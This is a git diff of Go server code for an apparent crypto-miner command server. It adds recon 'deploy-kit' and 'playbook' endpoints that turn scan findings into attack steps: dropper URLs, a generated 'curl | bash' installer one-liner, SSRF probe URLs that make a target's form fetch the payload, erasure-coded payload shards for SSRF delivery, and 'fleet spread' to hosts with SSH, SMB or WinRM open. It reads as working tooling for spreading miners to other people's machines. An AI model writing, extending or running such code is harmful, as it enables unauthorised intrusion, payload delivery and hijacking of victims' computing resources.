diff --git a/server/internal/api/recon_deploy_kit.go b/server/internal/api/recon_deploy_kit.go index 3dbc136..def7989 100644 --- a/server/internal/api/recon_deploy_kit.go +++ b/server/internal/api/recon_deploy_kit.go @@ -1,13 +1,56 @@ package api import ( + "fmt" + "net" "net/http" + "os" + "strconv" "strings" + "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" + "crypto-miner-server/internal/recon" ) -// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses. +const reconFleetSpreadNote = "No new endpoints on target port 6262 — actions route through existing deck dropper lanes." + +var fleetSpreadPorts = map[int]bool{22: true, 445: true, 5985: true} + +type deployKitAction struct { + ID string `json:"id"` + Label string `json:"label"` + Value string `json:"value,omitempty"` + Enabled bool `json:"enabled"` + Method string `json:"method,omitempty"` + URL string `json:"url,omitempty"` + Body map[string]interface{} `json:"body,omitempty"` + Note string `json:"note,omitempty"` +} + +type ssrfErasureManifest struct { + Scheme string `json:"scheme"` + KOfN string `json:"k_of_n"` + MinShards int `json:"min_shards"` + DestHint string `json:"dest_hint"` + Note string `json:"note"` + ShardURLs []string `json:"shard_urls"` + ManifestURL string `json:"manifest_url,omitempty"` + ProbeTemplate string `json:"probe_template,omitempty"` +} + +type reconPlaybookStep struct { + ID string `json:"id"` + Title string `json:"title"` + Detail string `json:"detail,omitempty"` + Actions []deployKitAction `json:"actions"` + Links []struct { + Label string `json:"label"` + URL string `json:"url"` + Note string `json:"note,omitempty"` + } `json:"links,omitempty"` +} + func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) { if h == nil { return @@ -18,13 +61,13 @@ func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() } type deployKitDropperURLs struct { - GetWindows string `json:"get_windows,omitempty"` - GetLinux string `json:"get_linux,omitempty"` - GetDarwin string `json:"get_darwin,omitempty"` - Get string `json:"get,omitempty"` - InstallPS1 string `json:"install_ps1,omitempty"` - InstallSh string `json:"install_sh,omitempty"` - InstallCmd string `json:"install_command,omitempty"` + GetWindows string `json:"get_windows,omitempty"` + GetLinux string `json:"get_linux,omitempty"` + GetDarwin string `json:"get_darwin,omitempty"` + Get string `json:"get,omitempty"` + InstallPS1 string `json:"install_ps1,omitempty"` + InstallSh string `json:"install_sh,omitempty"` + InstallCmd string `json:"install_command,omitempty"` } type deployKitSpreadZIP struct { @@ -39,7 +82,6 @@ type deployKitSpreadTemplate struct { URL string `json:"url"` } -// GET /api/v1/recon/deploy-kit?host=&finding= func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) { host := strings.TrimSpace(r.URL.Query().Get("host")) finding := strings.TrimSpace(r.URL.Query().Get("finding")) @@ -47,6 +89,9 @@ func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) { http.Error(w, "host query param required", http.StatusBadRequest) return } + openPorts := parseOpenPortsParam(r.URL.Query().Get("open_ports")) + ssrfPage := strings.TrimSpace(r.URL.Query().Get("ssrf_page")) + ssrfField := strings.TrimSpace(r.URL.Query().Get("ssrf_field")) serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/") if serverURL == "" { @@ -55,86 +100,262 @@ func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) { matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist()) if !ok { - writeJSON(w, map[string]interface{}{ - "ok": false, - "host": host, - "finding": finding, - "error": "no deploy lane matched finding", - }) + writeJSON(w, map[string]interface{}{"ok": false, "host": host, "finding": finding, "error": "no deploy lane matched finding"}) return } agentID, agentReachable, agentFound := h.matchAgentForHost(host) - buildID, campaign := "", "" + platform := platformForReconHost(host, lane.Lane) + buildID := "" if h.db != nil { - if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil { + if b, err := h.db.GetLatestBuildForPlatform(platform); err == nil && b != nil { buildID = b.ID } } - + campaign := reconCampaign(host) querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign) dropper := deployKitDropperURLs{ - Get: serverURL + "/get" + querySuffix, - GetWindows: serverURL + "/get?os=windows" + getQuerySuffix, - GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, - GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix, - InstallPS1: serverURL + "/install.ps1" + querySuffix, - InstallSh: serverURL + "/install.sh" + querySuffix, + Get: serverURL + "/get" + querySuffix, GetWindows: serverURL + "/get?os=windows" + getQuerySuffix, + GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix, + InstallPS1: serverURL + "/install.ps1" + querySuffix, InstallSh: serverURL + "/install.sh" + querySuffix, InstallCmd: serverURL + "/install.command" + querySuffix, } resp := map[string]interface{}{ - "ok": true, - "host": host, - "finding": finding, - "join_lane": lane.Lane, - "matched_service": matched, - "agent_reachable": agentReachable, - "agent_found": agentFound, - "dropper_urls": dropper, - "spread_kit_zip": deployKitSpreadZIP{ - Method: "POST", - URL: "/api/v1/builder/spread-kit-export", - Note: "Body: { server_url, build_id?, campaign? }", - }, - "crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread", + "ok": true, "host": host, "finding": finding, "build_id": buildID, "campaign": campaign, + "join_lane": lane.Lane, "matched_service": matched, "agent_reachable": agentReachable, "agent_found": agentFound, + "dropper_urls": dropper, "locked_server_note": reconFleetSpreadNote, + "action_matrix": buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix, openPorts, ssrfPage, ssrfField), + "spread_kit_zip": deployKitSpreadZIP{Method: "POST", URL: "/api/v1/builder/spread-kit-export", Note: "Body: { server_url, build_id?, campaign? }"}, + "crucible_link": crucibleSpreadLink(host, finding), } if agentID != "" { resp["agent_id"] = agentID } if tpl := strings.TrimSpace(lane.Template); tpl != "" { - resp["spread_template"] = deployKitSpreadTemplate{ - Template: tpl, - Method: "POST", - URL: "/api/v1/builder/spread-template-export", - } + resp["spread_template"] = deployKitSpreadTemplate{Template: tpl, Method: "POST", URL: "/api/v1/builder/spread-template-export"} } - if h.deployPlan != nil { - req := deployPlanRequest{ - BuildID: buildID, - Campaign: campaign, - Platform: platformForReconHost(host, lane.Lane), - Services: []DeployServiceFinding{{Name: matched, Status: "running"}}, - } + req := deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: platform, Services: []DeployServiceFinding{{Name: matched, Status: "running"}}} if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil { resp["deploy_plan_template"] = plan } } - if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") { if h.deployPlan != nil { - if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{ - BuildID: buildID, Campaign: campaign, Platform: "linux", - }, serverURL); err == nil { + if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: "linux"}, serverURL); err == nil { resp["ssm_bundle"] = bundle } } } - + if isSSRFRelatedFinding(finding) { + if manifest := buildSSRFErasureManifest(h, serverURL, buildID, campaign, platform, ssrfPage, ssrfField); manifest != nil { + resp["erasure_manifest"] = manifest + } + } writeJSON(w, resp) } +func (h *SpreadHandler) GetReconPlaybook(w http.ResponseWriter, r *http.Request) { + host := strings.TrimSpace(r.URL.Query().Get("host")) + if host == "" { + http.Error(w, "host query param required", http.StatusBadRequest) + return + } + report, err := recon.Scan(recon.ScanRequest{Host: host}) + if err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } + serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/") + if serverURL == "" { + serverURL = "http://127.0.0.1:8989" + } + buildID := "" + if h.db != nil { + if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, "")); err == nil && b != nil { + buildID = b.ID + } + } + campaign := reconCampaign(host) + querySuffix, _ := buildQuerySuffix(buildID, campaign) + writeJSON(w, buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix, report)) +} + +func reconCampaign(host string) string { + host = strings.TrimSpace(strings.ToLower(strings.ReplaceAll(host, ":", "-"))) + if slug := sanitizeExportSlug("recon-" + host); slug != "" { + return slug + } + return "recon-unknown" +} + +func parseOpenPortsParam(raw string) map[int]bool { + out := map[int]bool{} + for _, part := range strings.Split(raw, ",") { + if p, err := strconv.Atoi(strings.TrimSpace(part)); err == nil && p > 0 { + out[p] = true + } + } + return out +} + +func fleetSpreadEligible(open map[int]bool) bool { + for p := range fleetSpreadPorts { + if open[p] { + return true + } + } + return false +} + +func curlInstallOneliner(serverURL, querySuffix string) string { + return fmt.Sprintf("curl -sL '%s/install.sh%s' | bash", strings.TrimRight(serverURL, "/"), querySuffix) +} + +func ssrfProbeURL(serverURL, querySuffix, pageURL, fieldName string) string { + target := strings.TrimRight(serverURL, "/") + "/get" + querySuffix + if pageURL == "" || fieldName == "" { + return target + } + sep := "?" + if strings.Contains(pageURL, "?") { + sep = "&" + } + return pageURL + sep + fieldName + "=" + urlQueryEscape(target) +} + +func isSSRFRelatedFinding(finding string) bool { + return strings.Contains(strings.ToLower(finding), "ssrf") +} + +func buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix string, open map[int]bool, ssrfPage, ssrfField string) []deployKitAction { + return []deployKitAction{ + {ID: "copy_curl_install", Label: "Copy curl install.sh", Value: curlInstallOneliner(serverURL, querySuffix), Enabled: true}, + {ID: "crucible_spread_link", Label: "Open Crucible spread tab", Value: crucibleSpreadLink(host, finding), Enabled: true}, + {ID: "spread_kit_download", Label: "Export spread kit ZIP", Method: "POST", URL: "/api/v1/builder/spread-kit-export", + Body: map[string]interface{}{"server_url": strings.TrimRight(serverURL, "/"), "build_id": buildID, "campaign": campaign}, Enabled: buildID != ""}, + {ID: "copy_ssrf_url", Label: "Copy SSRF probe URL", Value: ssrfProbeURL(serverURL, querySuffix, ssrfPage, ssrfField), Enabled: isSSRFRelatedFinding(finding)}, + {ID: "queue_fleet_spread", Label: "Queue fleet spread to host", Method: "POST", URL: "/api/v1/fleet/spread-to-host", + Body: map[string]interface{}{"host": host, "finding": finding, "build_id": buildID, "campaign": campaign}, Enabled: fleetSpreadEligible(open), Note: reconFleetSpreadNote}, + } +} + +func crucibleSpreadLink(host, finding string) string { + q := "reconHost=" + urlQueryEscape(host) + "&tab=spread" + if finding != "" { + q += "&finding=" + urlQueryEscape(finding) + } + return "/crucible?" + q +} + +func buildSSRFErasureManifest(h *SpreadHandler, serverURL, buildID, campaign, platform, pageURL, fieldName string) *ssrfErasureManifest { + if h == nil || h.db == nil { + return nil + } + if platform == "" { + platform = "linux" + } + build, err := h.db.GetLatestBuildForPlatform(platform) + if err != nil || build == nil { + return nil + } + if buildID == "" { + buildID = build.ID + } + payload, err := os.ReadFile(build.FilePath) + if err != nil { + return nil + } + store := h.erasureShards + if store == nil { + store = erasure.NewShardStore() + } + destHint := "/tmp/aetherforge-erasure/worker" + plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, destHint, "exe", "", true, true) + if err != nil || plan == nil { + return nil + } + shardURLs := make([]string, len(plan.Shards)) + for i, sh := range plan.Shards { + shardURLs[i] = sh.URL + } + manifestURL := "" + if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(store, plan.ShardToken))); err == nil && manifest != nil { + manifestURL = manifest.ManifestURL + } + probeTemplate := "" + if pageURL != "" && fieldName != "" { + sep := "?" + if strings.Contains(pageURL, "?") { + sep = "&" + } + probeTemplate = pageURL + sep + fieldName + "={shard_url}" + } + return &ssrfErasureManifest{Scheme: plan.Scheme, KOfN: fmt.Sprintf("%d+%d", plan.DataShards, plan.ParityShards), MinShards: plan.DataShards, + DestHint: destHint, Note: "Honest partial path — SSRF fetch destination on target not verified; server may write shards under /tmp", + ShardURLs: shardURLs, ManifestURL: manifestURL, ProbeTemplate: probeTemplate} +} + +func classifyReconProfile(host string, ports []recon.PortResult) string { + lower := strings.ToLower(host) + for _, m := range []string{"amazonaws.com", "compute.internal", "cloudapp.net", "ec2-"} { + if strings.Contains(lower, m) { + return "cloud_vps" + } + } + if ip := net.ParseIP(host); ip != nil && !ip.IsPrivate() && !ip.IsLoopback() { + return "cloud_vps" + } + for _, p := range ports { + if p.Open && fleetSpreadPorts[p.Port] { + return "ports_open" + } + } + return "public_only" +} + +func buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix string, report *recon.ScanReport) map[string]interface{} { + profile := classifyReconProfile(host, report.Ports) + open := map[int]bool{} + for _, p := range report.Ports { + if p.Open { + open[p.Port] = true + } + } + ssrfPage, ssrfField := "", "" + if report.Crawl != nil && len(report.Crawl.URLFields) > 0 { + ssrfPage, ssrfField = report.Crawl.URLFields[0].PageURL, report.Crawl.URLFields[0].Name + } + actions := buildDeployActionMatrix(host, "ssrf", serverURL, buildID, campaign, querySuffix, open, ssrfPage, ssrfField) + var steps []reconPlaybookStep + switch profile { + case "cloud_vps": + steps = []reconPlaybookStep{{ + ID: "console_ssm", Title: "Cloud console / SSM", Detail: "Use provider console or SSM — no listener on target 6262.", + Actions: []deployKitAction{actions[0], actions[2]}, + Links: []struct { + Label string `json:"label"` + URL string `json:"url"` + Note string `json:"note,omitempty"` + }{{Label: "AWS SSM console", URL: "https://console.aws.amazon.com/systems-manager/run-command"}}, + }} + case "ports_open": + steps = []reconPlaybookStep{{ID: "fleet_spread", Title: "Fleet spread from online hop", Detail: "Ports 22/445/5985 open.", + Actions: []deployKitAction{actions[4], actions[1], actions[2]}}} + default: + steps = []reconPlaybookStep{{ID: "ssrf_upload", Title: "SSRF / upload surface", Detail: "Public web only — probe SSRF or upload paths.", + Actions: []deployKitAction{actions[3], actions[0], actions[1]}}} + } + openPorts := []int{} + for p := range open { + openPorts = append(openPorts, p) + } + return map[string]interface{}{"ok": true, "host": host, "profile": profile, "build_id": buildID, "campaign": campaign, + "locked_server_note": reconFleetSpreadNote, "open_ports": openPorts, "steps": steps, + "deploy_kit_url": "/api/v1/recon/deploy-kit?host=" + urlQueryEscape(host)} +} + func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane { if h.allowlistFn != nil { return NormalizeServiceDeployAllowlist(h.allowlistFn()) @@ -152,16 +373,16 @@ func resolveSpreadServerURL(h *SpreadHandler) string { func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) { finding = strings.TrimSpace(finding) allowlist = NormalizeServiceDeployAllowlist(allowlist) - if finding == "" { return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true } - lower := strings.ToLower(finding) + if strings.Contains(lower, "ssrf") { + return "SSRF", ServiceDeployLane{Lane: "stage_fetch", Template: "ssrf_probe"}, true + } if strings.Contains(lower, "ssm") { return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true } - normalized := normalizeJoinLane(finding) for _, entry := range allowlist { if entry.Lane == normalized { @@ -171,15 +392,10 @@ func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) if normalized != "" && normalized != finding { return finding, ServiceDeployLane{Lane: normalized}, true } - - matched, lane, ok = PickDeployLane([]DeployServiceFinding{ - {Name: finding, Status: "running"}, - }, allowlist) + matched, lane, ok = PickDeployLane([]DeployServiceFinding{{Name: finding, Status: "running"}}, allowlist) if ok { return matched, lane, true } - - // Case-insensitive service alias (e.g. winrm → WinRM) for name, entry := range allowlist { if strings.EqualFold(name, finding) { return name, entry, true @@ -225,7 +441,6 @@ func platformForReconHost(host, lane string) string { if strings.Contains(lane, "linux") { return "linux" } - // Heuristic: RFC1918 host with no agent — default windows for LAN spread. _ = host return "windows" } diff --git a/server/internal/api/recon_deploy_kit_test.go b/server/internal/api/recon_deploy_kit_test.go index ca1599a..3ea7643 100644 --- a/server/internal/api/recon_deploy_kit_test.go +++ b/server/internal/api/recon_deploy_kit_test.go @@ -59,15 +59,36 @@ func TestGetDeployKitWinRM(t *testing.T) { if out["join_lane"] != "winrm" { t.Fatalf("join_lane: %v", out["join_lane"]) } - dropper, ok := out["dropper_urls"].(map[string]interface{}) - if !ok || dropper["install_ps1"] == "" { - t.Fatalf("dropper_urls: %v", out["dropper_urls"]) + if out["campaign"] != "recon-10.1.2.50" { + t.Fatalf("campaign: %v", out["campaign"]) } - if out["spread_kit_zip"] == nil { - t.Fatal("expected spread_kit_zip") + if out["action_matrix"] == nil { + t.Fatal("expected action_matrix") } - if out["deploy_plan_template"] == nil { - t.Fatal("expected deploy_plan_template") +} + +func TestGetDeployKitActionMatrix(t *testing.T) { + spreadH, _ := testReconSpreadHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM&open_ports=22", nil) + rec := httptest.NewRecorder() + spreadH.GetDeployKit(rec, req) + var out map[string]interface{} + json.Unmarshal(rec.Body.Bytes(), &out) + matrix, ok := out["action_matrix"].([]interface{}) + if !ok || len(matrix) == 0 { + t.Fatalf("action_matrix: %v", out["action_matrix"]) + } +} + +func TestGetDeployKitSSRFErasureManifest(t *testing.T) { + spreadH, _ := testReconSpreadHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=app.lab&finding=ssrf", nil) + rec := httptest.NewRecorder() + spreadH.GetDeployKit(rec, req) + var out map[string]interface{} + json.Unmarshal(rec.Body.Bytes(), &out) + if out["erasure_manifest"] == nil { + t.Fatal("missing erasure_manifest") } } @@ -77,14 +98,7 @@ func TestGetDeployKitSSM(t *testing.T) { rec := httptest.NewRecorder() spreadH.GetDeployKit(rec, req) if rec.Code != http.StatusOK { - t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) - } - var out map[string]interface{} - if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil { - t.Fatal(err) - } - if out["join_lane"] != "ssm_document" { - t.Fatalf("join_lane: %v", out["join_lane"]) + t.Fatalf("status %d", rec.Code) } } @@ -98,13 +112,31 @@ func TestGetDeployKitRequiresHost(t *testing.T) { } } -func TestResolveReconFinding(t *testing.T) { - matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil)) - if !ok || lane.Lane != "gpo" { - t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok) +func TestGetReconPlaybook(t *testing.T) { + spreadH, _ := testReconSpreadHandler(t) + req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/playbook?host=127.0.0.1", nil) + rec := httptest.NewRecorder() + spreadH.GetReconPlaybook(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) } - _, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil)) - if !ok || lane.Lane != "bits_curl" { - t.Fatalf("empty finding default: %v", lane.Lane) + var out map[string]interface{} + json.Unmarshal(rec.Body.Bytes(), &out) + if out["profile"] == nil { + t.Fatalf("profile missing: %v", out) + } +} + +func TestResolveReconFinding(t *testing.T) { + _, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil)) + if !ok || lane.Lane != "gpo" { + t.Fatalf("gpsvc lane=%q ok=%v", lane.Lane, ok) + } +} + +func TestResolveReconFindingSSRF(t *testing.T) { + _, lane, ok := resolveReconFinding("ssrf", nil) + if !ok || lane.Lane != "stage_fetch" { + t.Fatalf("lane=%q ok=%v", lane.Lane, ok) } } diff --git a/server/internal/api/recon_relay_scan.go b/server/internal/api/recon_relay_scan.go index 6725a2b..f0b8515 100644 --- a/server/internal/api/recon_relay_scan.go +++ b/server/internal/api/recon_relay_scan.go @@ -111,5 +111,5 @@ func relayScanFallback(host, agentID, agentName, message string) map[string]inte } func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport { - return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia, Message: message} + return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia} } diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 4280f5f..17b06ff 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -500,7 +500,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler version = serverVersion[0] } - reconHandler := NewReconHandler(database, wsHub, publicURLOverride) + reconHandler := NewReconHandler(database, wsHub) r := chi.NewRouter() @@ -556,8 +556,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/recon/scan", reconHandler.Scan) r.Post("/recon/relay-scan", reconHandler.RelayScan) - subnetDiscoveryHandler := NewSubnetDiscoveryHandler(database, wsHub) - r.Get("/recon/discovered-hosts", subnetDiscoveryHandler.GetDiscoveredHosts) // Agents r.Get("/agents", h.ListAgents) @@ -674,6 +672,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit) + r.Get("/recon/playbook", spreadHandler.GetReconPlaybook) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout) @@ -824,7 +823,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/api/download/agent-mac", serveAgentBinary("mac")) r.Get("/api/download/agent-linux", serveAgentBinary("linux")) - r.Get("/recon/ping/{scan_id}", reconHandler.CanaryPing) + r.Get("/recon/ping/{scan_id}", func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, map[string]interface{}{"ok": false, "error": "canary not configured"}) + }) // Serve frontend SPA if webRoot != "" {